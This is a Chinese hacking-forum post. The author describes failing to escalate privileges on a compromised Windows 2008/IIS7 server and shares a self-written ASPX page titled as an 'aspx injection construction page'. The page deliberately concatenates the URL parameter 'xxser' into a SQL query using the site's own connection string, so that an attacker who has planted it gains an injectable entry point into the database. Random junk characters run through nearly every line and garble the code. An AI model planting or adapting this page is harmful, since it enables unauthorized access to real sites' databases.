昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
$ E6 c; U/ W* s; T5 |$ N其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
" P; v+ K9 U0 z9 t( B6 s( T代码量不多,自己写个拉倒了。烦死了。
- `- [/ F, i& W! N' `2 s& y
! x& R# b' b5 B- e. k
0 x* R2 n! V7 D2 u, B. L<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">: }' x3 a( x7 o
<html xmlns="http://www.w3.org/1999/xhtml">
* v Q* T3 I; w. p8 ]<head runat="server">
5 Q: G4 B& A# }1 m1 h6 J1 r <title>暗影aspx构造注射专用页面</title>
; w1 c2 x$ d: i+ c# T</head>
% K# d4 w: I8 A) K2 L7 _ W( S<body>2 k$ C$ P7 m- k' i
<form id="form1" runat="server">
, d. k, N4 ?8 @* j( M1 | <div> ]# | e8 n+ W: a+ j
<script language="c#" runat="server">- Z7 W8 @3 j7 |0 Q
/ H2 y3 y0 D0 {* X7 r
void page_init(object sender, EventArgs e)- g/ q* b- P$ b; k- Q( F/ x
{: d3 `. q. f# c# ^2 [7 E5 i. `* m
# _, j% P2 r9 B4 q! ?
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();% n+ r) d$ D9 F- \/ o4 e$ j0 B' D
# ?, t- A3 b. U# {% n conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
% I% o* o' G7 I# x; t) Q3 C conn.Open();; V, q# J# A- W0 c& s( ^4 x
) ^1 b2 [) @3 e2 w string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
3 Y3 l$ a. @! y/ E8 q , d# J$ d3 _; ]3 g
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);# E+ d$ c% m; ?' U
int x = command.ExecuteNonQuery();# X- J0 U) _5 m8 ~$ H% _
Response.Write(i+"\n");& S6 T- {( B' c& g2 `5 _
Response.Write(x);1 M4 d1 c& _# S* q. L! D
conn.Close();: d; G- W- S7 u- R% X
}' }/ p/ K8 P: k& w" w$ W6 y0 ~- X
$ B; u- S& R* V: v! p. D
</script>
( J: j. [$ z: y; b/ F3 T* `" Y </div>
* q; e' W% l5 a! |9 x% G3 ^ </form>
) U; o3 U2 ]3 C* [+ i</body>9 b2 B# n6 i2 j w
</html>
# O- F: v* _, c4 U |